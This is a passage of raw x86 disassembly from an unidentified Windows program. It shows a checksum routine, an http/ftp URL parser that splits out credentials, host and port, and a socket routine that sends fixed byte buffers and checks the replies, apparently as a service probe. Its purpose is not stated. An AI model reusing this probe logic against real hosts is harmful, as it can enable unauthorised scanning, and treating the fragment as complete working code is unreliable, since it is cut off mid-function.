sub_4208E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420B6B mov ebp, [esp+524h+var_4FC] loc_420C8F: ; CODE XREF: sub_4208E0+27Fj push ebp nop call near ptr 2940000h lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4208E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420DD0 proc near ; CODE XREF: sub_4015F5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 nop call near ptr 28A1D9Dh push eax nop call near ptr 28A119Bh mov eax, esi pop esi retn sub_420DD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E00 proc near ; CODE XREF: sub_401A37j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_420E39 loc_420E22: ; CODE XREF: sub_420E00+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420E22 cmp ecx, 0 jz short loc_420E4A loc_420E39: ; CODE XREF: sub_420E00+20j ; sub_420E00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420E39 loc_420E4A: ; CODE XREF: sub_420E00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420E00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420EA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50DB34, eax mov eax, offset dword_50DB34 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420EC0: ; CODE XREF: ___:0040177Bj push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_511AAC push esi call edi ; ftell mov ebp, dword_511AA4 push 2 push 0 push esi mov ebx, eax call ebp ; fseek push esi call edi ; ftell push 0 push ebx push esi mov edi, eax call ebp ; fseek add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420F10 proc near ; CODE XREF: sub_401947j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420F10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420F3F xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_420F3F: ; CODE XREF: sub_420F10+26j lea ecx, [esp+90h+var_84] call sub_40142E push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015E1 push offset asc_444C74 ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420FCF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420FCF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_420FCF: ; CODE XREF: sub_420F10+92j ; sub_420F10+A2j push offset asc_4453F0 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D34 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_4453F0 ; "/" push 1 jz loc_42130C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016B8 push offset asc_444C74 ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F40 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_4210C9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_4210C9: ; CODE XREF: sub_420F10+19Cj push offset asc_4453F0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016B8 push offset asc_444C74 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421195 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42117E mov dword ptr [esi+54h], 50h loc_42117E: ; CODE XREF: sub_420F10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421195 mov dword ptr [esi+54h], 15h loc_421195: ; CODE XREF: sub_420F10+255j ; sub_420F10+27Cj push offset asc_4453F0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016B8 push offset asc_444C74 ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016B8 lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F40 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42124E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_42124E: ; CODE XREF: sub_420F10+321j push offset asc_4453F0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016B8 push offset asc_444C74 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016B8 lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F40 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421433 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_42130C: ; CODE XREF: sub_420F10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016B8 push offset asc_444C74 ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F40 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421393 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_421393: ; CODE XREF: sub_420F10+466j push offset asc_4453F0 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset asc_444C74 ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421433 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42141C mov dword ptr [esi+54h], 50h loc_42141C: ; CODE XREF: sub_420F10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421433 mov dword ptr [esi+54h], 15h loc_421433: ; CODE XREF: sub_420F10+3DBj ; sub_420F10+4F3j ... push offset asc_4453F0 ; "/" lea ecx, [esp+94h+var_84] call sub_4013ED lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E47 push offset asc_4453F0 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013ED push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_4453F0 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013ED lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_4453F0 ; "/" mov ecx, esi call sub_4015E1 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016C7 lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421519: ; CODE XREF: sub_420F10+2Aj ; sub_420F10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420F10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4216D0 proc near ; CODE XREF: sub_401AFFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4216FB loc_4216E4: ; CODE XREF: sub_4216D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421702 inc eax cmp eax, edx jl short loc_4216E4 loc_4216FB: ; CODE XREF: sub_4216D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421702: ; CODE XREF: sub_4216D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4216D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421720: ; CODE XREF: ___:004020B8j mov eax, 2010h call sub_437B30 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42176D dec eax jz short loc_421747 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421747: ; CODE XREF: ___:00421738j mov eax, [esp+2020h] push 1388h push eax call sub_402022 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42176D: ; CODE XREF: ___:00421735j push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4218C9 cmp esi, 0FFFFFFFFh jz loc_4218C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2B66h nop mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40188E add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz loc_4218C2 mov ebp, dword_511CA0 push 0 push 48h push offset dword_444DB8 push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4218C2 mov edi, dword_511CA4 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi ; recv cmp eax, 0FFFFFFFFh jz loc_4218C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4218C2 push 0 push 18h push offset dword_444E2C push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4218C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4218C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4218C2 push 10h push offset loc_444E04 lea eax, [esp+24h] push edi push eax call sub_401AFF add esp, 10h test al, al jz short loc_421891 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421891: ; CODE XREF: ___:0042186Ej push 10h push offset dword_444E18 lea edx, [esp+24h] push edi push edx call sub_401AFF add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4218C2: ; CODE XREF: ___:004217DBj ; ___:004217F6j ... push esi nop call near ptr 71AB9639h loc_4218C9: ; CODE XREF: ___:0042177Ej ; ___:00421787j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421950: ; CODE XREF: ___:00401A0Fj xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421970 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421970 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219B0 proc near ; CODE XREF: sub_4018E8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401910 sub_4219B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219F0 proc near ; CODE XREF: sub_401825j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40197E mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014E2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4019A6 mov edx, [esi+4] mov ecx, esi push edx call sub_401956 sub_4219F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A60 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40206D mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401EDD mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421A60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421AA0 proc near ; CODE XREF: sub_40197Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401EDD mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421AA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AD0 proc near ; CODE XREF: sub_402185j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40197E mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40190B sub_421AD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B10 proc near ; CODE XREF: sub_40170Dj push esi mov esi, ecx call sub_4019FB mov eax, esi pop esi retn sub_421B10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40206D mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421B50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B80 proc near ; CODE XREF: sub_401811j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40201D neg al sbb eax, eax inc eax retn 4 sub_421B80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BB0 proc near ; CODE XREF: sub_4016EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421BB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013F7 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401465 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021DA sub_421BF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C60 proc near ; CODE XREF: sub_401465j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40110E mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D89 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421C60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421CA0 proc near ; CODE XREF: sub_4013F7j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D89 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421CA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013F7 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BC2 sub_421CD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D10 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421D10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421D30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D50 proc near ; CODE XREF: sub_401839j push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D5C neg al sbb eax, eax inc eax retn 4 sub_421D80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421DB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401EEC mov edi, eax push edi call sub_401B31 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421DB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B31 push edi mov [eax], ebx call sub_401B31 mov edi, [eax] push edi call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E5B mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D98 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E50 proc near ; CODE XREF: sub_40190Bj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401D07 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401910 sub_421E50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401D07 push edi mov [eax], ebx call sub_401D07 mov edi, [eax] push edi call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017F3 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401EDD mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_4019A6j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jz short loc_421F4A loc_421F08: ; CODE XREF: sub_421EF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020D6 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A2D ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jnz short loc_421F08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421F4A: ; CODE XREF: sub_421EF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421EF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421F80 proc near ; CODE XREF: sub_401910j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401E0B sub_421F80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421F95 mov edi, esi loc_421F95: ; CODE XREF: ___:00421F91j push esi call sub_40206D mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421FAA mov edi, esi loc_421FAA: ; CODE XREF: ___:00421FA6j push esi call sub_401D07 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FD0 proc near ; CODE XREF: sub_401956j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401550 sub_421FD0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421FF0 proc near ; CODE XREF: sub_40206Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421FF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422010 proc near ; CODE XREF: sub_4010F5j 